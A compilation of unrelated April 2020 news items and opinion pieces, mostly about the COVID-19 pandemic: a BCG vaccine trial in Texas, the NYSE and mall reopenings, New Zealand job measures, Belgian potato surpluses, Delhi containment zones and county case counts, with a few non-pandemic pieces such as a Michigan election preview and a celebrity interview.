Cirillo said he is being contacted by researchers around the nation interested in joining the trial, but he lacks the funding to expand it beyond Texas, Boston and Los Angeles, where Cedars-Sinai Medical Center also will participate. Texas A&M System Chancellor John Sharp last week authorized $2.5 million to get the trial off the ground. The idea to try BCG was born of researchers observation that COVID-19 rates of death and serious illness were lower in some developing countries where the vaccine is widely used. It is a premise that some researchers warn against reading too much into, given the difficulties teasing out all of the factors that could cause COVID-19 to hit one Third World country harder than another. BCG has been talked up to be a silver bullet and a game changer, Madhukar Pai, a lead TB researcher, wrote in an opinion piece in Forbes. We need to tone down the hype, focus on getting stronger trial evidence, because the hypothesis is definitely worth chasing. To that end, participants in the Texas A&M trial will be randomly assigned to receive either the vaccine or a placebo. Researchers, who wont know which one participants receive, will follow the patients for six months to see if they develop symptoms. In all, the trial design calls for the participation of 1,800 health care workers, including 700 at Texas A&M, 350 between Baylor and MD Anderson, 350 at Harvard and 400 at Cedars-Sinai. The Texas A&M institutions will include Houston Methodist Hospital, an affiliate of the College Station school. Cirillo said he is hopeful about the vaccines possible benefit against COVID-19 because the body fights the coronavirus in a manner similar to how it attacks bladder cancer, setting off a storm of immune activity that can cause more harm than good. BCG modulates that effect, boosting the beneficial activity while also suppressing the overreaction. Supply of the vaccine could be an issue, said Dr. Ashish Kamat, an MD Anderson professor of urology. The dose used in each bladder cancer patient is enough to vaccinate 100 individuals, but there has been a global shortage of BCG since 2014. The U.S. shortage is mostly because BCG is made by only one U.S. manufacturer, Merck, whose profit motive isnt great, given the drugs low price. It treats most of the 80,000 Americans diagnosed annually with bladder cancer, the nations fourth most common cancer. BCG in the US is earmarked exclusively for bladder cancer by Merck, which is not supporting the trial. Kamat obtained the approval of patients and the Bladder Cancer Advocacy Network to divert some of the existing U.S. supply to the trial. MD Andersons pharmacy is providing Texas A&Ms supply of BCG. Researchers are hopeful about Mercks ability to ramp up production despite the shortage because the vaccine can be grown in just 21 days, and a global public health crisis should rally the troops. If we see a benefit from the early data around mid-August, I think we should start looking at whether this sort of immune intervention needs to be implemented before a second COVID-19 wave hits in the fall, said Dr. Andrew DiNardo, a Baylor infectious disease specialist who will be leading the trials arm there. Im hopeful about the possible benefits. DiNardo and Cirillo both emphasized BCG will buy time until a true preventative vaccine, specifically designed for COVID-19, is ready for mainstream use, likely not until at least 18 months. DiNardo noted that a great value of BCG is that, given in combination with such a vaccine, it likely would enhance the immune response. DiNardo said his hypothesis is that the vaccine can provide 30 percent to 60 percent protection against symptomatic infection. Cirillo is even more optimistic, predicting BCG can lower hospitalization and death rates by 70 percent to 80 percent. Baylor, MD Anderson and Harvard are still awaiting the final green lights from their internal review boards, but Cedars-Sinai got the go-ahead to begin recruiting patients Tuesday, and Texas A&M hopes to vaccinate its first patients, in Bryan-College Station, either Friday or early next week. todd.ackerman@chron.com If Intercontinental Exchange (NYSE:ICE) gets its way, the New York Stock Exchange's iconic trading floor will once again be its usual hive of activity sometime soon. An official from the NYSE, which is owned by Intercontinental Exchange, told Reuters in an article published Friday that it "will reopen its trading floors when we can do so with reduced risk and without adding strain on local healthcare systems." A more exact timeline was not provided. Neither Intercontinental Exchange nor the NYSE has yet issued an official, proprietary statement on the matter. Citing "two people who were on the call," the Reuters article said that NYSE officials held a conference call with their staff and a number of traders regarding a return to in-person activity at the Exchange, presumably once the coronavirus pandemic recedes. The Exchange is located in the heart of New York City, one of the places worst-hit by COVID-19. According to the article's sources, the current plan is for the reopening to occur in two phases. Every person entering the building on Wall Street will be monitored for symptoms, and social distancing requirements will remain in force. Technically, as a business considered to be an essential service, the NYSE is permitted to operate. It elected to halt its in-person trading activity for now, however, and move solely to the electronic variety. Last month, one NYSE employee and a floor trader both tested positive for the coronavirus. The market clearly liked the symbolism around the idea of the exchange reopening. On Monday, Intercontinental Exchange shares closed the day nearly 4% higher, topping the gains of the major equity indexes and many peer financial stocks. The government is saying that unemployment in New Zealand will rise before it improves because of COVID-19. Social Development Minister Carmel Sepuloni made the statement as part of an update with Prime Minister Jacinda Ardern after the Cabinet meeting this morning. Jacinda says alert level three represents the move towards getting the economy moving again and to getting more New Zealanders back to work and to opening more businesses. She says under alert level three another 400,000 workers are going back to work so there are now around one million kiwis working. At alert kevel three around 75 per cent of the economy is operating with key sectors like building and construction, forestry, manufacturing and contactless retail starting back up. Lockdown has displaced many workers and there is a real need for jobs in the community, Jacinda says. Carmel announced new measures that the Ministry of Social Development will deliver to help ensure as many New Zealanders as possible are in work or preparing for work The measures include: A Keep New Zealand Working online recruitment tool that connects job seekers directly to the employer. The tool, that is now live, also provides online training courses. Opening 35 new employment centres across the country working with employers and job seekers under level three, over the phone and online. Under level two face to face engagement with clients, employers and providers will begin. A Keep New Zealand Working employment service for those directly impacted by Covid-19 who are not on a main benefit. A Keep New Zealand Working fast-tracking service for those benefit applicants who need to re-engage quickly with the job market. Working in partnership with industry to provide quick upskilling solutions, for example the new free online Community Health course with NZQA Unit Standards. Carmel says that MSD have already been ramping up employment efforts as part of the Welfare Overhaul. Last year we budgeted for 263 more MSD work-focused case managers, and invested significantly in programmes that support both employment and upskilling, and training like mana in mahi. Before New Zealanders went into alert level four, the government worked quickly to stand up Rapid Response Teams from MSD across the country to work in regions immediately affected like Tairawhiti. MSD has continued to place people into work under Alert Level 4 by phone including redeploying people to essential services. Ninety per cent of the weekly increase in main benefits has been for Jobseeker Support with 7694 more people coming onto a benefit 6,91 for Jobseeker Support. The increase in benefit numbers was expected. Its a global phenomenon. Countries that we compare ourselves to like the US, UK and Australia are experiencing dramatic increases in unemployment during Covid-19. We are not alone, says Carmel. Jacinda reiterated that under alert level three New Zealand is not out of the woods with COVID-19. "As [University of Auckland microbiologist] Siouxsie Wiles said today, there are still some smouldering ashes out there and it has the potential to become a wildfire again if we give them the chance." At alert level three the country is in a recovery room of sorts to asses if the incredible work done by New Zealanders during lockdown has worked, she says. With more people going back to work the country needs to be even more vigilant to stop the spread of the virus, Jacinda says. T he trade association for the national potato industry in Belgium has urged the population to keep eating chips during lockdown to help support farmers. While the coronavirus lockdown keeps restaurants, bars and many of Belgiums 5,000 frites stands closed, people are being asked to keep deep fryers fired up on the home front. The outside shacks known as fritkoten, where Belgians queue up day in and day out in normal times to buy their beloved fries, were allowed to remain open for takeaway orders during the national lockdown, but an estimated 80 per cent stayed closed anyway after local authorities offered compensation for closed businesses. "Traditionally, Belgians eat fries once a week, and its always a festive moment," Romain Cools, the secretary general of industry group Belgapom, said in a phone interview. A tourist takes a photograph of her fries in Brussels in mid March / AFP via Getty Images "Now, we are asking them to eat frozen fries twice a week at home." Belgians eat 38 kilograms of fresh potatoes and six to seven kilograms of processed potatoes at home every year, according to Belgiums National Union of Fry-makers. But the demand for frozen potatoes has nosedived in recent weeks, and the Belgian industry faces a possible loss of 125 million euros, if hundreds of tons of surplus potatoes do not move this year, Mr Cools said. "This is the first time in my 30-year career that I need to call on authorities for help," he said. "The potato sector is so important. "It should be helped because its a flagship for our whole industry." Europe takes it's first steps out of Coronavirus lockdown 1 /25 Europe takes it's first steps out of Coronavirus lockdown People queue at a hardware store during a partial reopening after the Austrian government eased lockdown restrictions Reuters A worker checks the temperature of a customer at the entrance of a supermarket in Itay Reuters Customers hold flowers in front of a DIY store in Graz, Austria, after it re-opened on April 14, 2020, following a "shutdown" in a measure to limit the spread of the new coronavirus APA/AFP via Getty Images People wearing protective face masks and gloves walk in the streets as the Italian government allows the reopening of some shops while a nationwide lockdown continues following the outbreak of the coronavirus disease (COVID-19), in Venice, Italy, Reuters People queue to enter a hardware store during a partial reopening after the Austrian government eased restrictions following the coronavirus disease (COVID-19) outbreak in Eisenstadt, Austria Reuters Camilla Cocchi wears a face mask and gloves as she sorts out clothing in her children's clothes shop after it was allowed to reopen following lockdown measures to contain the spread of Covid-19, in Rome AP A man wearing a face mask shops in a hardware store during a partial reopening after the Austrian government eased restrictions following the coronavirus disease (COVID-19) outbreak in Eisenstadt, Austria Reuters "Respect the 2 meters distance" banner is seen at a fish stand as the Italian government allows the reopening of some shops while a nationwide lockdown continues following the outbreak of the coronavirus disease (COVID-19) in Venice, Italy, Reuters Customers wearing face masks push shopping carts in front of a DIY store in Vienna, Austria, after it re-opened on April 14, 2020, following a "shutdown" in a measure to limit the spread of the new coronavirus APA/AFP via Getty Images A worker checks the temperature of a customer at the entrance of a supermarket, as the spread of the coronavirus disease (COVID-19) continues, in Turin, Italy Reuters Customers line up in front of a DIY store in Graz, Austria APA/AFP via Getty Images Gianfranco Mandas wears a face mask as he sorts out clothing in his children's clothes shop after it was allowed to opens following restriction measures to contain the spread of Covid-19, in Rome AP Customers wearing face masks push shopping carts in front of a DIY store in Vienna, Austria, after it re-opened on April 14, 2020, following a "shutdown" in a measure to limit the spread of the new coronavirus APA/AFP via Getty Images Customers queue at the Trastevere market, as new restrictions for open-air markets are implemented to prevent the spread of coronavirus disease (COVID-19) in Rome, Italy, Reuters Customers wearing face masks push shopping carts in front of a DIY store in Vienna, Austria, after it re-opened on April 14, 2020, following a "shutdown" in a measure to limit the spread of the new coronavirus APA/AFP via Getty Images A man wears a protective face mask and gloves at the newsstand as the Italian government allows the reopening of some shops while a nationwide lockdown continues following the outbreak of the coronavirus disease (COVID-19), in Venice, Italy Reuters People wearing face masks work in a hardware store during a partial reopening after the Austrian government eased restrictions following the coronavirus disease (COVID-19) outbreak in Eisenstadt, Austria Reuters Customers queue at the Trastevere market, as new restrictions for open-air markets are implemented to prevent the spread of coronavirus disease (COVID-19) in Rome, Italy Reuters A general view of the parking area of a hardware store during the partial reopening of shops after the Austrian government loosens its lockdown restrictions during the global coronavirus disease (COVID-19) outbreak in Vienna Reuters The industry wants to find new ways to move surplus stock and avoid waste. In partnership with the Dutch-speaking Flemish region of Belgium, Belgapom set up a program to deliver 25 tons of potatoes a week to food banks. Businesses are working to export some of their supplies to Central Europe and Africa, where the demand remains high. The industry is also looking at working with starch factories to find other uses for excess potato stocks, such as feeding livestock or producing green electricity. But even if consumers unite in their consumption of fries, the potato sector will not emerge from the pandemic unscathed. The coronavirus outbreak is having a significant economic impact on European countries, including Belgium / Belga/AFP via Getty Images Before the coronavirus reached Europe, the 2020 prospects looked bright for Belgiums potato industry, the worlds largest exporter, following a 7.5 per cent rise last year in the production of frozen fries. But the virus outbreak halted exports to China, then triggered a slowdown of potato sales across Europe as lockdown measures were implemented. After supermarkets saw shoppers grab all the potatoes they could hoard, demand quickly plummeted and kept falling with the closure of fast-food chains, according to Belgapom. Wells Fargo Securities believes 10-year Treasury yields are on the verge of a sustainable run above 1%. Michael Schumacher, the firm's chief macro strategist, expects improving economic conditions will push Treasury yields higher and prices lower. "You've got so many factors coming together," he told CNBC's "Trading Nation" on Monday. "As we suspect, you'll see continued progress on the virus." Schumacher's base case points to a better jobs picture as businesses reopen. A rebound in hiring won't happen overnight, but he feels it'll be enough to inject investor confidence into the markets and provide a catalyst for yields. He sees the 10-year yield within the next three weeks trading around 0.80%, a 21% bump from current levels. By summer, Schumacher predicts yields could make a comeback above one percent. "By the end of the year, we think they go quite a bit higher," added Schumacher. His year-end target on the 10-year yield is 1.25%, which assumes there will be no second wave of virus cases. The yield hasn't traded above that level since March 20 when it hit a high of 1.28%. DANBURY The pre-trial hearing of the city man accused of killing his friend while high on crack-cocaine last year has been continued to June 1. David Ramos, 34, is charged with first-degree manslaughter in the September death of Jason Hoffman, of Brewster, N.Y. Simon Property, which has seen the future of brick-and-mortar retail seriously threatened by the pandemic, plans to open the shopping centers between Friday and Monday. The majority are in Texas, Indiana, Georgia and Missouri. Properties in Tennessee, South Carolina, Oklahoma, Arkansas, Alaska and Mississippi will also be reopened. Simon Property, which is based in Indianapolis and at the end of last year owned more than 200 properties in 37 states and Puerto Rico, did not respond to requests for comment. It is not clear how many retailers with stores in those malls will open their doors. Gap Inc., which owns its namesake brand as well as Athleta, Banana Republic and Old Navy and is a tenant in some of the properties being reopened, said on Tuesday that it was not opening any stores this weekend. Macys, also a Simon Property tenant, currently has all of its stores closed. On Tuesday, it said it had no update on when they would reopen. Simon Propertys memo, which was first reported by CNBC, emphasized the safety protocols it was enacting as it started to invite customers to malls. Simon Propertys employees, contractors and vendors will be required to take their temperature before work, and stay home if they have a fever of 100.4 degrees or higher or exhibit flulike symptoms, the documents said. They will also wear face masks and aim to stay six feet away from others. The mall operator said it would provide free temperature testing, masks and sanitizing wipe packets to shoppers upon request, and that they would be encouraged to wear face masks and wash their hands frequently. An increasing number of consumer durables and technology brands have been extending product warranty because of the nationwide lockdown due to the impact of COVID-19. The latest one to join the league is MSI, Taiwan headquartered leading gaming brand. The company is offering an extension of three months across the laptop product portfolio whose warranty expires between March 15 and May 31, 2020. The extension of warranty is applicable on their entire range of laptops under the Gaming and Content Creation series. Customers can avail this extension on all MSI laptops purchased from Indian authorised sellers as per the terms and conditions applied during the product purchase. Given the nation-wide lockdown, all service centres are closed and there isn't any way a customer can reach out service centre for repairs. John Hung, General Manager, MSI India, says, "In order to offer convenience to our customers during the pandemic, we have decided to provide a 3 months extended warranty on our entire range of laptops. Our support staff is also attending to any customer queries that we are receiving on our helpline channels. At MSI, the safety and well-being of our customers is top priority and we will continue to take necessary steps in order to make our product services more accessible." The company has also been engaging with consumers through contests and creative campaigns on its social media handles to help them beat the quarantine. These contests aim to establish a deep connect with their audience and encourage them to spend their days productively and efficiently. The company says, "as the current times are unprecedented, we are contributing its effort to keep its consumers happy and safe while inspiring them to create their own special moments during these tough times." Earlier this month, MSI had revamped laptops equipped with 10th Gen Intel CoreTM i9 processor (Comet Lake H-series) and latest GeForce RTX Super series graphics. The company introduced GE66 Raider, GS66 Stealth, GE66 Dragonshield limited edition, Creator 17, Prestige 14 and camouflage concept laptop. Even at Consumer Electronics Show Las Vegas, MSI had introduced a new range of laptops. Technology companies are looking at innovative ways to not just offer service support also to connect with their customers. Just recently, HP launched free remote helpdesk for PC users in India to help small and medium businesses (SMBs), as well as individuals, adapt to their new work from home requirements. Also Read: Aarogya Setu app exposed some user data to YouTube, flaw fixed now Also Read: Airtel ties up with Nokia to provide network services and equipment Source: Xinhua| 2020-04-28 23:15:55|Editor: huaxia Video Player Close HO CHI MINH CITY, April 28 (Xinhua) -- The customs officers of Vietnam's southern Ho Chi Minh City have seized over 18 kg of synthetic drugs and cannabis via express parcel delivery services, Vietnam News Agency reported on Tuesday. Upon examining 16 suspicious parcels sent from Europe to Vietnam, the customs office of the city in coordination with relevant authorities found and seized over 18 kg of synthetic drug, 124 grams of cocaine, 458 grams of cannabis which were hidden in envelopes, sweet bags and carton packages. All parcels have either fake addresses or no recipient in the bill of lading, the news agency reported. They are worth an estimate of 60 billion Vietnamese dong (2.6 million U.S. dollars). Local authorities are investigating the case. According to the Vietnamese law, those convicted of smuggling over 600 grams of heroin or more than 2.5 kg of methamphetamine are punishable by death. Making or trading 100 grams of heroin or 300 grams of other illegal drugs also faces death penalty. Enditem As the world is scrambling to develop a Covid-19 vaccine, Oxford's Jenner Institute, which got a headstart following the progress in its clinical trials, is now hoping that first few million doses of the vaccine could be made available by September -- which is months ahead of projections of when such a vaccine would be ready. While most teams have had to start with small clinical trials, scientists at Jenner Institute have made a promising start on developing the vaccine, having already proved in earlier trials that similar immunisation was safe for humans, The New York Times (NYT) ... Alanis Morissette says the music industry is primed for a #MeToo reckoning of its own. In a new interview with the U.K.s Sunday Times Magazine, the singer speaks out against a culture she says is steeped in abuse and misogyny though she stops short of naming names. While industry figures like rocker Ryan Adams, R&B star R. Kelly, producer Dr. Luke and hip-hop mogul Russell Simmons have been accused, to varying degrees, of sexual misconduct, Morissette says a Hollywood-style movement hasnt even begun in the music industry. Alanis Morissette says the music industry is rife with stories of abuse. (Photo: Sven Hoppe/dpa via Getty Images) Almost every woman in the music industry has been assaulted, harassed, raped, the mom of three said. Its ubiquitous more in music, even, than film. Its just so normalized. Sex, drugs and rock n roll? she added. By definition its crass, sweaty and aggressive. But its only a matter of time before it has its own explosion of stories. The 45-year-old declined to identify anyone in particular as a perpetrator responding, I dont have an answer at this moment but did share instances from her own pop star past. Many things happened: sexual abuse, exploitation, financial undermining, she said of her music career, saying she was mistreated from age 3 onwards, frankly. That included being pressured to lose weight after skyrocketing to stardom with Jagged Little Pill, culminating in an eating disorder and depression. Morissette (performing in 1995) says she was pressured to lose weight and faced abusive behavior. (Photo: Paul Natkin/Getty Images) Unsolicited feedback is a form of violence against women, she said. Morissette turned to recovery groups and used her music to work through her demons. She told the Sunday Times that her record company responded by suggesting that the music video for Hands Clean feature kids singing its provocative lyrics about abuse. I was like, Have you heard the lyrics? Did you read ? No, right? she recalled. While she praised Kesha, who is in a lengthy legal battle with Dr. Luke over her allegation of rape, for kicking a**, Morissette also defended those who take their time to share their own experiences. Story continues I mean, please. First of all, they didnt wait. Second, they face the threat of losing their job, reputation or not being believed. At best its swept under the rug, at worst you are admonished or fired, she said of women who expose abuse. My goal would be to take away the normalization, she said later. And the structures that allow it. Read more Yahoo Entertainment: New Delhi, April 28 : With the red zones in the national capital touching 100, the Delhi administration is now looking at implementing a micro containment zone strategy to break the chain of coronavirus transmission. Speaking to IANS, an Delhi government official said Lt. Governor Anil Baijal has directed all the District Magistrates in the city to implement the strategy in their districts. "The LG has directed sealing smaller clusters instead of bigger areas. This will help in checking the movement of the people. The DMs have been asked to completely shut the movement of the people in these zones," the official told IANS. So far, if three or more cases were found in a locality, the entire area used to be sealed and declared a containment or red zone. However, the number of cases for sealing an area can be varied depending upon the situation. While those inside the zone were not allowed to step out, or those outside it were not allowed to go inside, it was reported that people living in the red zones were in contact, resulting in cases being reported from the containment zones. The official said with the micro-containment zone strategy, small clusters will be sealed and it will help in checking people's movement inside the zones. In several containment zones, including those in Jahangirpuri and Tughlakabad Extension, people were in contact and about 30-35 people tested positive in these densely-populated zones. Delhi Health Minister Satyendar Jain on Tuesday said cases are increasing in the city as the infection is spreading at the local levels. Last week, Jain had said that coronavirus is at the local transmission stage, the second stage of Covid spread, as people living together are becoming positive in large numbers. "It is spreading among those having close contacts. It is local spread. In local spread, large cases are reported from people having close contacts, be it family or those living nearby." He said people need to understand that this infection can spread, and "that is why we are requesting that everyone should stay indoors". So far, 100 containment zones have been formed with one red zone 'de-contained' in the East district. The positive cases count in the city has crossed 3,100-mark. Geneva, April 28 : The director general of the World Health Organization (WHO) has defended its handling of the coronavirus pandemic. Tedros Adhanom Ghebreyesus said countries should have listened to the agency after it declared a "Public Health Emergency of International Concern" on 30 January, when there were 82 cases outside China and no deaths, the BBC reported on Monday. "The world should have listened to WHO then, carefully," he told reporters. "We advised the whole world to implement a comprehensive public health approach, and we said: 'Find, test, isolate, and do contact tracing'. You can check for yourselves: countries who followed that are in a better position than others." US President Donald Trump ordered the suspension of US funding to the agency after accusing it of "severely mismanaging and covering up the spread of the coronavirus". -- The story has been published from a wire feed without any modifications to the text By Amanda Khozi Mukwashi As a little girl in the 1970s, I watched as my grandparents farmed in the central province of Zambia. They were successful farmers who prided themselves on hard work. The community would come together to help harvest the large fields of maize. Afterwards, some corn would be left in the field. Those who had no fields, or who for one reason or another had not been able to cultivate their fields, would come and glean as the harvesters moved through them. No-one would bother them. it was accepted as normal. There was a moral imperative for those who had to share with those who did not. Now I sit at home here in the UK during this lockdown and check in with our staff across the world. And I hear cries of despair. My colleagues in Afghanistan tell me they can share lessons on how to cope with limited mobility, electricity and connectivity. They tell me of the thousands of people coming from Iran, crossing the border at Herat, and the fear of not being able to support them or prevent the spread of the coronavirus. In Burkina Faso, colleagues tell me that their crisis is threefold: a public health crisis caused by the coronavirus, a humanitarian crisis due to millions of displaced people in the Sahel, and a security crisis due to the ongoing terrorist attacks. In Zimbabwe, they are simply looking for ways to survive after it was left off the list of the poorest countries given temporary debt relief by the G20 last week. Against that backdrop, the sluggish response of international leaders has been bitterly disappointing. We are determined to spare no effort, the G20 said recently, both individually and collectively, to protect lives, bring the pandemic under control, safeguard peoples jobs and incomes, support the global economy during and after this phase and ensure the resilience of the financial system. But the steps the G20 has taken do not match the rhetoric. Debts have been rolled over and payments for countries that were already in a debt crisis temporarily halted But this is just the geopolitical equivalent of a mortgage holiday. It doesnt fix the underlying challenge. Economies will collapse. Africas GDP and government revenues are in freefall, at a time when countries should be urgently investing in health care and in basic social safety nets. Suspending debt repayments feels like kicking the can down the road, when creditor nations know full well that accumulated debts will be even less payable in 2021 than they are today. An exceptional response from the G20 would have been to write off the debt, principal and interest for the whole fiscal year 2020 and for 2021. This would cover all debt: bilateral, multilateral and commercial. It would allow countries to have immediate access to finance to fight the pandemic or for those countries where health infrastructure is appallingly weak to prepare preventative measures. It has become clear that in some countries and some communities that social distancing will be a major challenge. In others, it will be impossible. Two billion people live without running water in their homes, soap is a luxury commodity for millions of people in Africa and Asia, and in refugee camps people live cheek-by-jowl. A two-year debt cancellation and suspension would allow countries to respond to these challenges and relaunch their economies. This would benefit global economic activities and save lives. It is not an either-or. There is an opportunity in the current financial conundrum. It is not a reboot of the economic system. That would suggest that we turn it off and on again, with the same structure in place. Instead, we need to reprogram it - reduce inequalities, treat the planet with respect ,and ensure that basic services and rights are guaranteed to all human beings. A radically new vision of the world. If not now, when? The idea of a debt jubilee comes from the Old Testament book of Deuteronomy, in which, at the end of every seventh year, debts must be cancelled. The last debt jubilee was in 2005. Arguably, the previous one was after World War Two, when the US forgave Marshall Aid loans. Something similarly radical biblically radical - is needed now. We are suggesting cancelling $40 billion in debt: all payments due in 2020 for the roughly 77 poorest countries. Ive been thinking recently of the story of Boaz and Ruth in the Christian Bible. As Boazs workers harvested the wheat, it was common practice at the time to allow those who were in need to come and glean from the fields. But Boaz goes beyond allowing Ruth to glean from his field. He invites her to his table to sit together with the others as they eat. He understood real value, dignity and justice. The G20, multilateral agencies and commercial creditors should do the same. They can invite others to their table. Last time I wrote, I talked about how we must make life worth the suffering. That if we didnt have a strong reason to live for, then we wouldnt be able to walk through the pains of the human condition. Clearly, a lot can happen in a month or so. Say A pandemic? And all of the sudden, most of us cant even leave our house. Its here that we realise how much of our reason for being was tied up in what we DO. Dont worry. Youll certainly get back to whatever it is you do in life. So, I want to remind you why life is worth the living in the first place. These past few weeks Ive been in overdrive trying to take our entire Church gathering online plenty of Zoom/Teams meetings and more dollars than Id care to spend and my mind feels like it might break from all the stuff Ive had to learn. Theres only one reason I havent broken under what feels like a mountain of pressure; because He lives. Why live? You may be familiar with the song we played it this week for our recorded worship session the lyrics go; Because He lives, I can face tomorrow Because He lives, all fear is gone Because I know He holds the future And life is worth the living, just because He lives (Bill and Gloria Gaither) Easter was a powerful reminder of this truth; everything we do now we do because of the Gospel. I almost want to end my thoughts here, because truth be told, I dont think its any more complex than that. However, Im not sure an article less than three hundred words would be too beneficial. When Christ died the event we attempt to remind ourselves of with chocolate bunnies and assorted eggs a lot of people might have said well hes done plenty; I really dont think we could ask for more than Christ dying for our sins, because in doing so he has taken the sting of death away (one only has to see the martyrs or understand the idea of Heaven). Of course, thats true; were saved through the death of God incarnate in flesh. But we need to remember that this death is but one episode in the story. If death is now defeated and we no longer have to fear it, theres still a huge gaping problem Why live? Quality of life I think part of the answer is found in the resurrection. The idea seems to be something like when Christ rises, we rise with him. Well, what do I mean by that? The New Testament is full of language like adoption and co-heirs and other such language which all seem to suggest a kind of ascension of the Human state. Not that Im saying we get upgraded and can suddenly shoot lightning out of our fingertips, but I think what the NT authors are often getting at is an idea of the quality of the Believer. A famous scripture to this effect is found in Romans Chapter eight, verse eleven NRSV: If the Spirit of him who raised Jesus from the dead dwells in you, he who raised Christ from the dead will give life to your mortal bodies also through his Spirit that dwells in you. Im sure a very twisted reading of this could start a religion on reincarnation, so Id recommend people read the whole book (and Bible!) for themselves. To me, however, this verse suggests a vibrancy and excitement I try to carry with me in life. Thus, we return to the song I mentioned, Because he lives Since he lives and has raised us with him so we are now the adopted sons and daughters of God, then we can reach the goal of salvation and existence finally; communion with God. Do you see what I mean? Through Christs death, yes, our own fear of death no longer holds us back. But, through Christs new life and ascension because he lives we are able to experience the love and glory of God in ways we never would have known possible. Id like to suggest a change to the lyrics of that song. See, I dont feel we should sing I CAN face tomorrow, something about that suggests life to be such a burden and terrible tragedy. Perhaps something like Because he lives, I cant wait to face tomorrow (nowhere near the poetic beauty of the original, but you get the idea) would capture the idea more strongly; every day, isolated or not, I get to spend knowing God more is a day I cant wait to experience. BAKU, Azerbaijan, April 28 By Jeila Aliyeva - Trend: Representatives of Turkmenistan and the Energy Charter have discussed energy transit issues via a video conference, Trend reports with reference to the Ministry of Foreign Affairs of Turkmenistan. The parties discussed a number of issues related to the further development of bilateral cooperation. The participants also considered questions in the field of modernization of the Energy Charter Treaty. The impact of the global agenda on world energy markets was also highlighted. Turkmenistan welcomes the work carried out by the Secretariat of Energy Charter to promote the integration of regional energy markets in order to achieve long-term stability and sustainability in the field of energy. Urban Rusnak, Secretary General of the Energy Charter Treaty, took part in the video conference. From Turkmens side the meeting was attended by Yagshigeldi Kakaev, Advisor to the President of Turkmenistan on oil and gas issues, heads and representatives of several ministries and departments of Turkmenistan, including the Ministry of Foreign Affairs, Ministry of Finance and Economy, Ministry of Justice, the Ministry of Energy of Turkmenistan, Turkmengas and Turkmennebit State oncerns. --- Follow the author on Twitter: @JeilaAliyeva Five new COVID-19 cases and another recovery were reported in Hale County according to the latest statistics from the Plainview/Hale County Health Departments that reflect activity as of 5 p.m. Sunday. This brings the case count up to 24 and the recovery count up to 10. The newest diagnosed individuals include four men and one woman between the ages of 41-60 years old. One of the men is in a medical facility and the others are all at home. The cases were a result of local transmissions for two of the men and the woman. The location of transmission of the other two men including the one in the medical facility are considered undetermined. According to daily snapshot report, two of the new cases are in Hale Center, bringing the total case count there to seven, and three are in Plainview, which brings that case count up to 14. The latest recovery was also reported in Hale Center raising the recovery count to two. Other area cases include two in Petersburg and one in Edmonson. Other area recoveries include seven in Plainview and one in Edmonson. Recovered individuals include: two men and two women between 21 and 40 years old; a woman and three men between 41 to 60 years old; two men 60 years or older. Hale Center and Petersburg have also reported two deaths each. The deceased include three women and one man who are 61 years old or older. The total number of COVID-19 tests administered in Hale County is 163. Of those tests, 136 have yielded negative results and 15 are still pending. These testing statistics specifically reflect tests given across Hale County, only. If an individual tested positive outside of the county, their confirmed case is reflected in the Hale County case count, but not in the testing counts. The daily snapshot also shows 27 people are under monitoring. The additional cases reported Monday show case numbers in the 41 to 60 age group have jumped to 10. The 21 to 40 age group and the 61 and older age group each include seven confirmed cases. Fourteen of the 24 confirmed cases in the county have been a result of transmissions within the county. Five are results of transmissions from outside the county and the infection locations of the five others are undetermined. Fourteen of the confirmed cases are men and 10 are women. Of the remaining active cases, nine are in isolation at home and one is in a medical facility. The Health Department continues to encourage Hale County citizens to stay home and abide by social distancing requirements. Earlier this month, it also issued a health advisory encouraging citizens to wear facial coverings in public. Instructions on how to create face covers using common household items and additional information about coronavirus can be found at www.plainviewtx.org/COVID19. The county is also under a stay-at-home order. Under the order, citizens are encouraged to stay home, avoid congregating, maintain a six-foot distance between people in public and practice good hand hygiene. Those exhibiting COVID-19 symptoms including shortness of breath, fever and cough should contact their physician. For additional information, visit the citys COVID-19 webpage or call (806)293-1359. Keep an eye on all of these seats. Todays post was written by Aaron (The Give Smart Guy), director of research at the Future Now Fund. Aaron joined Future Now after co-founding the Give Smart project, which raised almost $1 million for state legislative candidates in 2018. Previously an attorney for various technology companies, he has also written extensively about elections for VICE Magazine and the University of Virginia Center for Politics. You can sign up for his excellent email targeting winnable down-ballot races. Friends, Those groups of protesters you see outside state capitols demanding we start letting people die so they can get a haircut even though the federal government has utterly failed to create the conditions for them to get a haircut without people dying are no accident. They are the result of the U.S. conservative movements grasstops approach to politics, with the help of their state legislative factory, ALEC. Its a frightening version of the idea that every person is an island and that we are not responsible to each other in any meaningful way in spite of our shared humanity. In Michigan, Republican Speaker Lee Chatfield encouraged the protests that jammed Lansings streets and blocked ambulances from getting to the hospital. He is part of the conservative movements most cynical strain: state legislative leadership indifferent to the well-being of their constituents so they can serve special interests instead. But their ongoing control of the State House is far from a sure thing come 2021. Just three seats will break Chatfields State House majority, and theres a clear path to do so but we need your help. So lets take a look at the map! Lets also take a look at Greater Detroit! And heres how the seats break down: Safe Democratic (39 Districts) This category includes all but four of the seats that Hillary Clinton carried in 2016. Considering she barely lost a 50-50 election youd expect her to have carried 53-55 seats. Instead she only won 43, which tells you just how horribly gerrymandered the Michigan House is. Lean Democratic (6) Most of these seats are in traditionally Democratic areas that Clinton lost but have otherwise backed the party in most elections. If Trump turns his fortunes around they could be imperiled but Democrats are on track to hold most of them. Tilt Democratic (7) Today Democrats are favored in 52 seats, one of which is held by a retiring Republican outside Kalamazoo. The GOPs likely nominee is Bronwyn Haltom, who first achieved notoriety as half of the first couple to get married after meeting in the Trump White House. Tossup (2) The toughest seat for Democrats to hold in the House is Laurie Pohutsky, who flipped her suburban Detroit district in 2018 by just 200 votes. Shes done an amazing job as a legislator, pushing to drive down health care costs and using her expertise as a scientist to lead the COVID-19 response. But after winning by such a small margin the Republican nominee will have plenty of DeVos money behind them to defeat her. Tilt Republican (3) If Democrats sweep the tossups and win one of these seats, two of which are open, then theyll break Republican control of the Michigan House. Its a far simpler path in the Michigan House than some other states but that doesnt mean its easier; if Democrats fumble any of the races mentioned so far it makes the majority that much harder. Lean Republican (16) Like I said, Michigan is subject to a horrible gerrymander. Its why Democrats dont control the State House after 2018 and why their path to flipping it in 2020 is narrower compared to other states. But if 2020 ends up a blue tsunami then theres only so much gerrymandering can do, and spreading Republican voters too thinly could backfire. So keep an eye on all of these seats; most of them backed Obama at least once so they may warm to his former running mate (and others running on the ticket with him) as well. And thats the story in Michigan. Two peninsulas, one goal: flip the House. And as always, if you enjoy these previews, please tip generously. Best, Aaron Photo by Anne C. Savage 28.04.2020 LISTEN Washington, DC 23rd April 2020 